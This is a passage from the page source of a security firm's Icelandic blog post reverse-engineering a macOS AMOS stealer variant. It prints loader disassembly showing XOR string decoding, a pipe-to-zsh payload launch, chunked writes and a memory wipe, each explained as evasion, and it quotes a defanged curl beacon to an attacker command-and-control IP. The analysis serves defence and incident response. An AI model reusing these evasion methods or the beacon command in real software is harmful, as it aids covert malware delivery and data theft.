binary-ins. Hér kemur allt saman: afkóðaði payload-inn, obfuskerað skipunarheiti og skýr anti-forensics hönnun. Hver hönnunarákvörðun í þessari fúnksjón þjónar tilteknum evasion-tilgangi.",[711,2273,2275],{"id":2274},"skref-1-skipunarheitið-birtist-aldrei-í-plaintext","Skref 1: skipunarheitið birtist aldrei í plaintext",[527,2277,717],{},[527,2279,2280,2283,2284,2287,2288,2291,2292,2295],{},[557,2281,2282],{},"/bin/zsh"," er hvergi til í binary-inu sem plaintext. Í ",[557,2285,2286],{},"__cstring","-hluta á ",[557,2289,2290],{},"0x1007bb5c8"," liggur strengurinn sem obfuskeruð byte ",[557,2293,2294],{},"\\x01LG@\\x01T]F",". Afkóðunin fer fram á runtime gegnum eina XOR-aðgerð, staðfestanlega beint í ARM64-assembly:",[578,2297,2298],{"style":580},[582,2299,2302],{"className":2300,"code":2301,"language":587},[585],"; FUN_10000091c — command name decode via SIMD XOR\n100000960:  adrp x8,0x1007bb000\n100000964:  add x8,x8,#0x5c8          ; x8 → \"\\x01LG@\\x01T]F\" in __cstring\n100000968:  ldr x8,[x8]               ; load 8 obfuscated bytes as uint64\n10000096c:  str x8,[sp, #0x20]\n100000970:  strb wzr,[sp, #0x28]      ; null terminator\n\n100000974:  ldr d0,[sp, #0x20]        ; load into SIMD register d0\n100000978:  movi v1.8B,#0x2e          ; broadcast 0x2e to all 8 lanes of v1\n10000097c:  eor v0.8B,v0.8B,v1.8B    ; XOR all 8 bytes simultaneously\n100000980:  str d0,[sp, #0x20]        ; store decoded \"/bin/zsh\"\n\n100000988:  mov w8,#0x732d            ; 0x732d = \"-s\" (little-endian)\n10000098c:  strh w8,[sp, #0x4]        ; store argument string\n",[557,2303,2301],{"__ignoreMap":590},[527,2305,2306,2307,2310,2311,2313,2314,2317],{},"XOR-lykillinn er ",[557,2308,2309],{},"0x2e",", ASCII-gildið fyrir ",[557,2312,1537],{}," (punkt). Afkóðunin gerist í einni ",[557,2315,2316],{},"eor v0.8B, v0.8B, v1.8B"," instruction, ARM64-NEON vektor-skipun sem XOR-ar öll 8 byte-in samtímis. Að nota SIMD-instruction fyrir einfaldan 8-byte decode er óvenjulegt og hefur tvenn áhrif: hraðar en byte-fyrir-byte loop, og instruction-mynstrið sem myndast er í grundvallaratriðum ólíkt skalar-decode-loopum sem signature matching-tól eru þjálfuð á.",[527,2319,2320,2321,1331,2324,1331,2327,1331,2330,2333,2334,2337],{},"Staðfestingin er einföld: ",[557,2322,2323],{},"0x01 XOR 0x2e = 0x2f = /",[557,2325,2326],{},"0x4c XOR 0x2e = 0x62 = b",[557,2328,2329],{},"0x47 XOR 0x2e = 0x69 = i",[557,2331,2332],{},"0x40 XOR 0x2e = 0x6e = n",", sem gefur ",[557,2335,2336],{},"/bin"," í fyrstu fjórum byte-unum.",[711,2339,2341],{"id":2340},"skref-2-pipe-arkitektúrinn","Skref 2: pipe-arkitektúrinn",[527,2343,717],{},[527,2345,2346],{},"Eftir afkóðun skipunarheitsins býr fúnksjónin til OS-pipe og forkar:",[578,2348,2349],{"style":580},[582,2350,2353],{"className":2351,"code":2352,"language":587},[585],"100000990:  bl 0x1000a0f6c    ; _fork()\n100000994:  mov x20,x0        ; save PID\n100000998:  cbz w0,0x100000b00 ; if child: jump to exec path\n",[557,2354,2352],{"__ignoreMap":590},[527,2356,2357],{},"Í child-ferlinu:",[578,2359,2360],{"style":580},[582,2361,2364],{"className":2362,"code":2363,"language":587},[585],"; Child process path\n100000b0c:  mov w1,#0x0\n100000b10:  bl 0x1000a0f48    ; _dup2(pipe_read_fd, STDIN=0)\n; pipe read-end is now stdin, shell reads from pipe\n100000b2c:  add x0,sp,#0x20   ; argv[0] = \"/bin/zsh\"\n100000b30:  add x1,sp,#0x8    ; argv array\n100000b34:  bl 0x1000a0f60    ; _execvp(\"/bin/zsh\", [\"/bin/zsh\", \"-s\", NULL])\n",[557,2365,2363],{"__ignoreMap":590},[527,2367,2368,2369,2372,2373,2376,2377,2379],{},"Child-ferlið skiptir sínum staðlaða input út fyrir lesenda pipe-sins og ræsir ",[557,2370,2371],{},"/bin/zsh -s",". Í ",[557,2374,2375],{},"-s","-ham les shell-ið skipanir úr stdin. Fyrir process-monitoring tól birtist þetta ferli sem ",[557,2378,2371],{}," án argumenta, ógreinanlegt frá lögmætri interaktífri shell-session.",[711,2381,2383],{"id":2382},"skref-3-chunk-writes-af-breytilegri-stærð","Skref 3: chunk-writes af breytilegri stærð",[527,2385,717],{},[527,2387,2388],{},"Parent-ferlið skrifar afkóðaða payload-inn í meðvitað breytilegum chunk-stærðum á skrifenda pipe-sins:",[578,2390,2391],{"style":580},[582,2392,2395],{"className":2393,"code":2394,"language":587},[585],"; Parent: compute chunk size then write\n1000009d4:  umulh x8,x23,x24       ; high-half multiply for modulo\n1000009d8:  lsr x8,x8,#0x7\n1000009dc:  msub x8,x8,x25,x23     ; x8 = length % 0xc0\n1000009e0:  add x8,x8,#0x40        ; chunk = (length % 192) + 64\n                                    ; range: 64 to 255 bytes per write\n1000009e4:  cmp x8,x23             ; clamp to remaining length\n1000009e8:  csel x2,x8,x23,cc\n\n1000009ec:  ldr w0,[sp, #0x34]     ; pipe write fd\n1000009f0:  mov x1,x21             ; payload pointer\n1000009f4:  bl 0x1000a0fc0         ; _write(fd, buf, chunk_size)\n\n100000a04:  mov w0,#0x1\n100000a08:  bl 0x1000a0fa8         ; _usleep(1), 1µs between chunks\n100000a0c:  add x21,x21,x22        ; advance pointer\n100000a10:  sub x23,x23,x22        ; reduce remaining count\n100000a14:  cbnz x23,0x1000009d4   ; loop until done\n",[557,2396,2394],{"__ignoreMap":590},[527,2398,2399,2400,2403,2404,2407,2408,2411,2412,2415],{},"Chunk-stærðarformúlan ",[557,2401,2402],{},"(remaining_length % 192) + 64"," framleiðir gildi milli 64 og 255 byte per write-kall, allt eftir eftirstæðri payload-lengd. Breytilega write-mynstrið er sýnilegt í kernel event tracing-tólum á borð við ",[557,2405,2406],{},"ktrace"," eða ",[557,2409,2410],{},"dtrace",", en framleiðir ekki þekkjanlega fasta-stærðar signature. Hver keyrsla á sama payload framleiðir aðra runu af ",[557,2413,2414],{},"write()","-syscall stærðum.",[527,2417,2418,2419,2421],{},"1-míkrósekúndna ",[557,2420,1127],{}," milli chunk-anna hefur annan tilgang: það gefur CPU-inn lausan milli skrifa, heldur CPU-nýtingu flatri og forðast skyndilegan topp sem behavior-based EDR-regla gæti merkt sem óeðlilegt burst-I/O.",[711,2423,2425],{"id":2424},"skref-4-tafarlaus-minnishreinsun","Skref 4: tafarlaus minnishreinsun",[527,2427,717],{},[578,2429,2430],{"style":580},[582,2431,2434],{"className":2432,"code":2433,"language":587},[585],"; After all chunks written and pipe closed:\n100000a20:  ldrb w8,[x19, #0x17]   ; check string storage type\n100000a24:  sxtb w9,w8\n100000a28:  ldp x10,x11,[x19]\n100000a30:  csel x0,x10,x19,lt     ; pointer to payload buffer\n100000a34:  csel x1,x11,x8,lt      ; length of buffer\n100000a38:  bl 0x1000a0f30         ; _bzero(payload_buf, length)\n",[557,2435,2433],{"__ignoreMap":590},[527,2437,2438,2441],{},[557,2439,2440],{},"_bzero()","-kallið núllstillir allan afkóðaða payload-buffer-inn beint eftir síðustu skrif í pipe-inn. Enginn tímagluggi, ekki einu sinni míkrósekúnda, þar sem afkóðaði payload-inn liggur enn í minni eftir að keyrslunni lýkur. Lifandi memory dump sem tekið er strax eftir að þessari fúnksjón lýkur finnur aðeins núll þar sem payload-inn var.",[527,2443,2444,2445,2448],{},"Þetta kallast ",[776,2446,2447],{},"zero-after-use",", sama tækni og háöryggis-cryptography libraries nota til að tryggja að lykilefni verði ekki eftir í minni. Að þessi tækni komi fram í commodity malware er óvenjulegt og bendir til þróunaraðila með security engineering bakgrunn.",[711,2450,2452],{"id":2451},"full-keyrsluruna","Full keyrsluruna:",[527,2454,717],{},[578,2456,2457],{"style":580},[582,2458,2461],{"className":2459,"code":2460,"language":587},[585],"__cstring:  \"\\x01LG@\\x01T]F\"   (7 bytes, obfuscated)\n    ↓  SIMD XOR with 0x2e (8-wide vector)\nstack:      \"/bin/zsh\\0\"         (decoded in-place, stack only)\n    ↓  _pipe() creates fd pair [read=local_60, write=local_5c]\n    ↓  _fork()\n    │\n    ├─ CHILD:  _dup2(local_60, 0)   stdin = pipe read end\n    │          _execvp(\"/bin/zsh\", [\"/bin/zsh\", \"-s\", NULL])\n    │          → /bin/zsh reads commands from stdin (= pipe)\n    │\n    └─ PARENT: loop: _write(local_5c, payload, variable_chunk)\n                     _usleep(1)\n               _close(local_5c)    close write end → EOF to shell\n               _bzero(payload, len) ← WIPE IMMEDIATELY\n               _waitpid(child, ...)\n",[557,2462,2460],{"__ignoreMap":590},[564,2464,2466],{"id":2465},"import-taflan-sem-vopn","Import-taflan sem vopn",[527,2468,573],{},[527,2470,2471],{},"Full import-tafla þessa binary-s:",[578,2473,2474],{"style":580},[582,2475,2478],{"className":2476,"code":2477,"language":587},[585],"// C runtime / memory\n_memcpy       _memmove      _memset       _bzero\n\n// Process execution\n_fork         _execvp       _execl        __exit\n\n// IPC / pipes\n_pipe         _dup2         _close        _write\n\n// Synchronisation\n_waitpid      _usleep\n\n// Stack protection\n___stack_chk_fail    ___stack_chk_guard\n\n// C++ runtime\noperator.new    operator.delete    __Unwind_Resume\n___cxa_allocate_exception    ___cxa_throw    ___cxa_begin_catch\n___cxa_end_catch    ___cxa_free_exception    ___gxx_personality_v0\nterminate    logic_error    bad_array_new_length    __next_prime\n\n// STL containers\nappend    reserve    push_back    operator=\n\n// Dynamic linking\ndyld_stub_binder\n",[557,2479,2477],{"__ignoreMap":590},[527,2481,2482],{},"Samtals 27 symbol. Það sem vantar er að minnsta kosti jafn upplýsandi og það sem er til staðar.",[711,2484,2486],{"id":2485},"fjarverandi-net","Fjarverandi: net",[527,2488,717],{},[578,2490,2491],{"style":580},[582,2492,2495],{"className":2493,"code":2494,"language":587},[585],"socket      connect     bind        listen\naccept      send        recv        sendto\nrecvfrom    getaddrinfo gethostbyname\n",[557,2496,2494],{"__ignoreMap":590},[711,2498,2500],{"id":2499},"fjarverandi-skráakerfi","Fjarverandi: skráakerfi",[527,2502,717],{},[578,2504,2505],{"style":580},[582,2506,2509],{"className":2507,"code":2508,"language":587},[585],"open        read        fopen       fread\nfwrite      fclose      stat        unlink\nmkdir       rename      opendir     readdir\n",[557,2510,2508],{"__ignoreMap":590},[711,2512,2514],{"id":2513},"fjarverandi-process-introspection","Fjarverandi: process introspection",[527,2516,717],{},[578,2518,2519],{"style":580},[582,2520,2523],{"className":2521,"code":2522,"language":587},[585],"getpid      getuid      getenv      sysctl\n",[557,2524,2522],{"__ignoreMap":590},[711,2526,2528],{"id":2527},"fjarverandi-cryptography","Fjarverandi: cryptography",[527,2530,573],{},[578,2532,2533],{"style":580},[582,2534,2537],{"className":2535,"code":2536,"language":587},[585],"CCCrypt     SecItemAdd  SecKeychainFind\n",[557,2538,2536],{"__ignoreMap":590},[527,2540,2541,2542,1331,2545,2548,2549,1331,2552,2555],{},"Í hefðbundnu malware-sample býst maður við network-imports (",[557,2543,2544],{},"socket",[557,2546,2547],{},"connect",") eða skráar-imports (",[557,2550,2551],{},"fopen",[557,2553,2554],{},"write","). Þetta binary hefur ekki eitt einasta. Fyrir staðlaðan scanner lítur það út eins og saklaus process-launcher, og það er þannig ætlað: meðvituð arkitektúrákvörðun sem lætur statísk greiningartól hlaupa út í tómið.",[527,2557,2558,2560],{},[557,2559,929],{}," binary-ið framkvæmir ekki þjófnaðinn sjálft. Eini tilgangur þess er að planta og keyra hinn eiginlega illgjarna payload, sterkt obfuskerað AppleScript. EDR eða AV sem leitar að illgjörnum binaries sér hér loader án network- eða skráar-I/O og gæti flokkað hann sem hreinan, án þess að átta sig á að binary-ið er sérhæft delivery-kerfi fyrir high-level script payload.",[537,2562],{},[540,2564,2566],{"id":2565},"backdoorinn","Backdoorinn",[527,2568,2569],{},"{: #backdoorinn}",[527,2571,549],{},[527,2573,2574,2575,2578],{},"Atvikinu lauk ekki eftir upphaflegu kompromíseringuna. Microsoft Defender-telemetry sýndi ferli sem keyrði frá ",[557,2576,2577],{},"/Users/\u003Credacted>/.mainhelper"," og spurði út í ytri server:",[578,2580,2581],{"style":580},[582,2582,2584],{"className":787,"code":2583,"language":789,"meta":590,"style":590},"sh -c \"curl -s 'http[:]//45.94.47[.]204/api/tasks/*********************'\"\n",[557,2585,2586],{"__ignoreMap":590},[627,2587,2588,2591,2593],{"class":629,"line":630},[627,2589,2590],{"class":796},"sh",[627,2592,801],{"class":800},[627,2594,2595],{"class":814}," \"curl -s 'http[:]//45.94.47[.]204/api/tasks/*********************'\"\n",[527,2597,2598],{},"Base64-strengurinn afkóðaðist í 16-byte tækis-UUID, einkvæmt auðkenni sem C2-innviðir árásaraðilans höfðu úthlutað þessu tæki á degi upphaflegu sýkingarinnar.",[527,2600,2601,2604,2605,2608,2609,1537],{},[557,2602,2603],{},".mainhelper","-binary-ið (SHA-256: ",[557,2606,2607],{},"7c6766e2b05dfbb286a1ba48ff3e766d4507254e217e8cb77343569153d63063",") hafði verið sett upp á degi atviksins af osascript-dropper-num gegnum ",[557,2610,797],{},[537,2612],{},[540,2614,2616],{"id":2615},"styrkur-kollektíva-skjaldarins-shared-threat-intelligence-platform-okkar","Styrkur kollektíva skjaldarins: Shared Threat Intelligence Platform okkar",[527,2618,2619],{},"{: #shared-threat-intelligence}",[527,2621,549],{},[527,2623,2624],{},"Þegar alert kviknar í SOC-inu okkar byrjar klukkan ekki bara að tifa fyrir viðkomandi viðskiptavin heldur fyrir öll fyrirtæki undir glueckkanja-skildinum. Þessi rannsókn á óskráðu AMOS-afbrigði gerir ljóst hvað intelligence gap-ið þýðir í raun: hættulegur tímagluggi þar sem hefðbundnir vendors eru blindir vegna þess að þeir hafa ekki enn séð ógnina.",[527,2626,2627],{},"Hér sýnir okkar séreignar Shared Threat Intelligence Platform gildi sitt, þróuð eingöngu fyrir glueckkanja-CSOC-viðskiptavini. Við bíðum ekki eftir uppfærslum frá iðnaðinum, við búum þær til. Á meðan greinendur okkar voru enn að taka í sundur síðustu lögin af ARM64-assembly dreifði Automated Orchestration Engine okkar þegar útdregnu indikatorana yfir allt vistkerfið. Það skapar hjörðar-ónæmi: það sem finnst á einum endpoint er innan mínútna orðið að blokkaðri ógn fyrir öll fyrirtæki undir vernd okkar.",[527,2629,2630],{},"Reaktíft öryggi virkar ekki gegn ógnum sem laumast markvisst gegnum eyður hefðbundinna varna. Svarið liggur í tengingu mannlegrar sérþekkingar við arkitektúr sem beitir þeirri þekkingu strax og í skala. Í gegnum shared intelligence módelið okkar snýst tímakostur árásaraðilans við: viðskiptavinir okkar eru varðir áður en iðnaðurinn viðurkennir ógnina yfirhöfuð.",[2632,2633,2634,2639,2642,2645],"blockquote",{},[527,2635,2636],{},[776,2637,2638],{},"Athugasemd um persónuvernd",[527,2640,2641],{},"Auðkennanlegar upplýsingar hafa verið nafnleyndar í þessari birtingu. Tilteknum tæknilegum smáatriðum, indikatorum og tímastimplum kann að hafa verið breytt lítillega til að tryggja áframhaldandi vernd viðkomandi umhverfis, án þess að skerða tæknilega heilleika greiningarinnar.",[527,2643,2644],{},"Tæknilegu greiningarnar og Indicators of Compromise (IOCs) í þessari skýrslu eru eingöngu í upplýsinga- og fræðsluskyni. Þau eru látin í té eftir bestu vitund. glueckkanja AG veitir engar berum orðum eða óbeinar ábyrgðir varðandi heilleika eða nákvæmni og ber ekki ábyrgð á skaða, tapi eða öryggisatvikum sem hljótast af notkun þeirra upplýsinga, reglna eða signature sem hér eru deilt. Við mælum með að staðfesta öll indikatora og reglur í stýrðu umhverfi áður en þau eru tekin í notkun.",[527,2646,2647],{},"Lýstir indikatorar og tækni geta skarast við þekktar malware-fjölskyldur og eru ekki eingöngu bundnar við eina herferð.",[2649,2650,2651],"style",{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}",{"title":590,"searchDepth":636,"depth":636,"links":2653},[2654,2655,2656,2657,2664,2665,2666,2667,2675,2682],{"id":566,"depth":636,"text":567},{"id":610,"depth":636,"text":611},{"id":671,"depth":636,"text":672},{"id":703,"depth":636,"text":704,"children":2658},[2659,2660,2661,2662,2663],{"id":713,"depth":854,"text":714},{"id":728,"depth":854,"text":729},{"id":742,"depth":854,"text":743},{"id":751,"depth":854,"text":752},{"id":768,"depth":854,"text":769},{"id":936,"depth":636,"text":937},{"id":1026,"depth":636,"text":1027},{"id":1142,"depth":636,"text":1143},{"id":1213,"depth":636,"text":1214,"children":2668},[2669,2670,2671,2672,2673,2674],{"id":1228,"depth":854,"text":1229},{"id":1516,"depth":854,"text":1517},{"id":1771,"depth":854,"text":1772},{"id":1965,"depth":854,"text":1966},{"id":2052,"depth":854,"text":2053},{"id":2204,"depth":854,"text":2205},{"id":2258,"depth":636,"text":2259,"children":2676},[2677,2678,2679,2680,2681],{"id":2274,"depth":854,"text":2275},{"id":2340,"depth":854,"text":2341},{"id":2382,"depth":854,"text":2383},{"id":2424,"depth":854,"text":2425},{"id":2451,"depth":854,"text":2452},{"id":2465,"depth":636,"text":2466,"children":2683},[2684,2685,2686,2687],{"id":2485,"depth":854,"text":2486},{"id":2499,"depth":854,"text":2500},{"id":2513,"depth":854,"text":2514},{"id":2527,"depth":854,"text":2528},"md","post",{"lang":2691,"seoTitle":2692,"titleClass":2693,"date":2694,"categories":2695,"blogtitlepic":2696,"socialimg":2697,"customExcerpt":2698,"keywords":2699,"maxContent":325,"asideNav":2700,"footer":2715,"contactInContent":2716,"published":325},"is","AMOS Stealer afbrigði: Reverse engineering á óþekktri macOS-malware","h2-font-size","2026-04-10",[235],"head-amos-stealer.png","/blog/heads/head-amos-stealer.png","Áður óskráð afbrigði af AMOS stealer komst inn á macOS-endpoint. Engir þekktir hash-ar, engin C2-gögn í opnum gagnagrunnum. SOC-teymið okkar tók í sundur sex lög af obfuskun, dró út alla indicators og dreifði vörn til allra SOC-viðskiptavina á fáum klukkustundum, áður en iðnaðurinn hafði yfirhöfuð séð sample-ið.","AMOS Stealer, macOS malware, reverse engineering, malware-greining, Ghidra, ARM64, incident response, threat intelligence, CSOC, macOS öryggi, stealer malware, shared threat intelligence, Atomic macOS Stealer",{"menuItems":2701},[2702,2705,2707,2710,2712],{"href":2703,"text":2704},"#atvikid","Atvikið",{"href":2706,"text":567},"#stage-1-sandbox-athuganir",{"href":2708,"text":2709},"#stage-2-binary-greining","Stage 2: Binary-greining",{"href":2711,"text":2566},"#backdoorinn",{"href":2713,"text":2714},"#shared-threat-intelligence","Shared Threat Intelligence",{"noMargin":325},{"quote":325,"infos":2717},{"bgColor":2718,"headline":2719,"subline":2720,"level":564,"textStyling":2721,"flush":2722,"person":2723,"form":2729},"var(--color-gk-dark-blue)","Hafðu samband","Viltu vita hvernig Shared Threat Intelligence Platform okkar ver þig fyrir óþekktum malware-afbrigðum, áður en iðnaðurinn heyrir af þeim. Talaðu við okkur.","text-light","justify-content-end",{"image":2724,"cloudinary":325,"alt":2725,"name":2726,"quotee":2726,"quoteeTitle":2727,"quote":2728},"/people/people-jan-geisbauer-csoc.jpg","Andlitsmynd af Jan Geisbauer, Head of Security hjá glueckkanja","Jan Geisbauer","Head of Security","Það hættulega við þetta afbrigði var ekki tæknilegi flækjustigið, þótt það sé áhrifamikið. Það hættulega var tímaglugginn. Án Shared Threat Intelligence hefðu aðrir viðskiptavinir okkar staðið óvarðir klukkustundum saman á meðan við vorum enn að greina.",{"ctaText":2730,"cta":2731,"method":2689,"action":2733,"fields":2734},"Senda",{"skin":2732},"primary on-surface","/send",[2735,2739,2743,2746,2750,2755,2760,2762,2765,2768,2771,2773],{"type":2736,"id":2737,"value":2738},"hidden","_next","successful",{"label":2740,"type":587,"id":2741,"required":325,"requiredMsg":2742},"„Nafn*\"","name","Vinsamlegast sláðu inn nafn.",{"label":2744,"type":587,"id":403,"required":325,"requiredMsg":2745},"„Fyrirtæki*\"","Vinsamlegast sláðu inn fyrirtæki.",{"label":2747,"type":2748,"id":2748,"required":325,"requiredMsg":2749},"„Netfang*\"","email","Vinsamlegast sláðu inn netfang.",{"label":2751,"type":2752,"id":2753,"required":484,"requiredMsg":2754},"„Skilaboð þín til okkar\"","textarea","message","Vinsamlegast sláðu inn skilaboð.",{"label":2756,"type":2757,"id":2758,"required":325,"requiredMsg":2759},"Gögnin þín eru vistuð hjá okkur til vinnslu og svörunar á fyrirspurn þinni. Frekari upplýsingar um persónuvernd finnur þú í \u003Ca href=\"/is/privacy\">persónuverndarstefnu okkar\u003C/a>.","checkbox","dataprotection","Vinsamlegast staðfestu",{"type":2736,"id":2761,"value":235},"_topic",{"type":2736,"id":2763,"value":2764},"_location","World",{"type":2736,"id":2766,"value":2767},"_subject","Form: Blog AMOS Stealer CSOC | IS",{"type":2736,"id":2769,"value":2770},"inbox_key","gkgab-contact-form",{"type":2736,"id":2772},"_gotcha",{"type":2736,"id":2774},"jsonData","/posts/2026-04-10-incident-to-intelligence",{"title":520,"description":529},"posts/2026-04-10-incident-to-intelligence",[2779,2780,2781,2782,2783],"Threat Intelligence","Incident Response","macOS Security","Malware Analysis","Cyber Security Operations Center","-ny1jdq82OPjBV06eVNDTLDRtfeQUqKNMDG2oc7s_1c",{"id":2786,"extension":2787,"meta":2788,"stem":8,"__hash__":3137},"authors_data/authors.json","json",{"path":2789,"Fritz Zurhorst":2790,"Alexander Schlindwein":2796,"Sophie Luna":2802,"Nadine Klein":2810,"Karsten Kleinschmidt":2816,"Julian Wendt":2824,"Holger Bunkradt":2829,"Ralf Mania":2835,"Oliver Kieselbach":2841,"Steffen Schwerdtfeger":2847,"Gunnar Winter":2855,"Jan Petersen":2860,"Thorsten Kunzi":2865,"Moritz Pohl":2869,"Thorben Pöschus":2874,"Christoph Hannebauer":2880,"Marco Scheel":2884,"Christopher Brumm":2889,"Florian Klante":2896,"Niklas Bachmann":2901,"Nils Krautkrämer":2906,"Patrick Treptau":2912,"Peter Beckendorf":2917,"Patrick Sobau":2922,"Jörg Wunderlich":2927,"Michael Breither":2931,"Christian Kanja":2936,"Zeba Hoffmann":2942,"Jochen Fröhlich":2947,"Jan Geisbauer":2951,"Gerrit Reinke":2962,"Christian Kordel":2968,"Stephan Wälde":2972,"Carolin Kanja":2977,"Adrian Ritter":2983,"Marvin Bangert":2988,"Thorsten Pickhan":2994,"Christian Lorenz":3000,"Denis Böhm":3005,"Fabian Bader":3010,"Juan Jose Fernandez Perez":3016,"Mahschid Sayyar":3021,"Benjamin Dassow":3026,"Markus Walschburger":3031,"Jonathan Haist":3036,"Daniel Rohregger":3041,"Thomas Naunheim":3046,"Florian Stöckl":3051,"Pascal Asch":3056,"Markus Kättner":3060,"Anna Ulbricht":3067,"Annette Brauns":3074,"body":3080,"title":3136},"/authors",{"display_name":2791,"avatar":2792,"permalink":2793,"linkedin":2794,"imageOffsetTop":2795},"Fritz Zurhorst","people/people-fritz-zurhorst.png","/authors/fritz-zurhorst","friedemann-z","72%",{"display_name":2797,"avatar":2798,"permalink":2799,"twitter":2800,"linkedin":2801},"Alexander Schlindwein","people/people-alexander-rudolph.png","/authors/alexander-schlindwein","AlexanderOnIT","schlindwein-alexander",{"display_name":2803,"avatar":2804,"permalink":2805,"twitter":2806,"linkedin":2807,"imageOffsetLeft":2808,"imageOffsetTop":2809},"Sophie Luna","people/people-sophie-luna.jpg","/authors/sophie-luna","glueckkanjagab","../company/glueckkanja-gab","58%","67%",{"display_name":2811,"avatar":2812,"permalink":2813,"twitter":2814,"linkedin":2815,"imageOffsetTop":2795},"Nadine Klein","people/people-nadine-kern.png","/authors/nadine-kern","nadineausRT","nadine-kern",{"display_name":2817,"avatar":2818,"permalink":2819,"twitter":2820,"linkedin":2821,"imageOffsetTop":2822,"imageOffsetLeft":2823},"Karsten Kleinschmidt","/c_pad,w_800,h_700/people/karsten-kleinschmidt.jpg","/authors/karsten-kleinschmidt","KarstenonIT","karstenkleinschmidt","60%","57%",{"display_name":2825,"avatar":2826,"permalink":2827,"linkedin":2828},"Julian Wendt","people/people-julian-wendt.png","/authors/julian-wendt","julian-wendt",{"display_name":2830,"avatar":2831,"permalink":2832,"linkedin":2833,"twitter":2834},"Holger Bunkradt","people/people-holger-bunkradt.png","/authors/holger-bunkradt","holger-bunkradt-12b5053b","hbunkradt",{"display_name":2836,"avatar":2837,"permalink":2838,"linkedin":2839,"twitter":2840},"Ralf Mania","people/people-ralf-mania.png","/authors/ralf-mania","ralf-mania-146a2757","RaMa1976",{"display_name":2842,"avatar":2843,"permalink":2844,"linkedin":2845,"twitter":2846},"Oliver Kieselbach","people/people-oliver-kieselbach.png","/authors/oliver-kieselbach","oliver-kieselbach-a4a3409","okieselbT",{"display_name":2848,"avatar":2849,"permalink":2850,"linkedin":2851,"twitter":2852,"imageOffsetTop":2853,"imageOffsetLeft":2854},"Steffen Schwerdtfeger","people/people-steffen-schwerdtfeger.png","/authors/steffen-schwerdtfeger","steffen-schwerdtfeger","SteffenAtCloud","79%","51%",{"display_name":2856,"avatar":2857,"permalink":2858,"twitter":2806,"linkedin":2859},"Gunnar Winter","people/people-gunnar-winter.jpg","/authors/gunnar-winter","company/glueckkanja-gab",{"display_name":2861,"avatar":2862,"permalink":2863,"twitter":2806,"linkedin":2864},"Jan Petersen","people/jan-petersen.png","/authors/jan-petersen","jan-petersen-26a901",{"display_name":2866,"avatar":2867,"permalink":2868,"twitter":2806,"linkedin":2859,"imageOffsetTop":2795},"Thorsten Kunzi","people/author-thorsten-kunzi.png","/authors/thorsten-kunzi",{"display_name":2870,"avatar":2871,"permalink":2872,"twitter":2806,"linkedin":2873},"Dr. Moritz Pohl","people/people-moritz-pohl.png","/authors/moritz-pohl","dr-moritz-pohl",{"display_name":2875,"avatar":2876,"permalink":2877,"twitter":2878,"linkedin":2879},"Thorben Pöschus","people/thorben.poeschus.png","/authors/thorben-poeschus","TPO901","thorben-pöschus-624693b7",{"display_name":2881,"avatar":2882,"permalink":2883,"twitter":2806,"linkedin":2859,"imageOffsetTop":2795},"Dr. Christoph Hannebauer","people/people-christoph-hannebauer.png","/authors/christoph-hannebauer",{"display_name":2885,"avatar":2886,"permalink":2887,"twitter":2888,"linkedin":2888},"Marco Scheel","people/people-marco-scheel.png","/authors/marco-scheel","marcoscheel",{"display_name":2890,"avatar":2891,"permalink":2892,"twitter":2893,"linkedin":2894,"imageOffsetTop":2895},"Christopher Brumm","people/people-christopher-brumm.jpg","/authors/christopher-brumm","cbrhh","christopherbrumm","66%",{"display_name":2897,"avatar":2898,"permalink":2899,"linkedin":2900,"twitter":2806},"Florian Klante","people/florian-klante.jpg","/authors/florian-klante","florian-klante-6031b31b",{"display_name":2902,"avatar":2903,"permalink":2904,"linkedin":2905,"twitter":2806},"Niklas Bachmann","people/niklas.bachmann.png","/authors/niklas-bachmann","niklas-bachmann-66a863158",{"display_name":2907,"avatar":2908,"permalink":2909,"twitter":2910,"linkedin":2911},"Nils Krautkrämer","people/nils-krautkraemer.png","/authors/nils-krautkraemer","KrauNils","nils-krautkrämer-8b04bb250",{"display_name":2913,"avatar":2914,"permalink":2915,"linkedin":2916,"twitter":2806},"Patrick Treptau","people/people-patrick-treptau.png","/authors/patrick-traptau","ptreptau",{"display_name":2918,"avatar":2919,"permalink":2920,"linkedin":2921,"twitter":2806,"imageOffsetTop":2795},"Peter Beckendorf","people/peter-beckendorf.png","/authors/peter-beckendorf","peter-beckendorf-29a239b1",{"display_name":2923,"avatar":2924,"permalink":2925,"linkedin":2926,"twitter":2806},"Patrick Sobau","people/patrick-sobau.png","/authors/patrick-sobau","patrick-sobau",{"display_name":2928,"avatar":2929,"permalink":2930,"twitter":2806},"Jörg Wunderlich","people/joerg-wunderlich.png","/authors/joerg-wunderlich",{"display_name":2932,"avatar":2933,"permalink":2934,"twitter":2806,"linkedin":2935},"Michael Breither","people/people-michael-breither.jpg","/authors/michael-breither","michaelbreither",{"display_name":2937,"avatar":2938,"permalink":2939,"twitter":2940,"linkedin":2941},"Christian Kanja","people/people-christian-kanja.png","/authors/christian-kanja","cekageka","christian-kanja",{"display_name":2943,"avatar":2944,"permalink":2945,"linkedin":2946,"twitter":2806},"Zeba Hoffmann","people/zeba-hoffmann.png","/authors/zeba-hoffmann","zebahoffmann",{"display_name":2948,"avatar":2949,"permalink":2950,"twitter":2806,"linkedin":2859},"Jochen 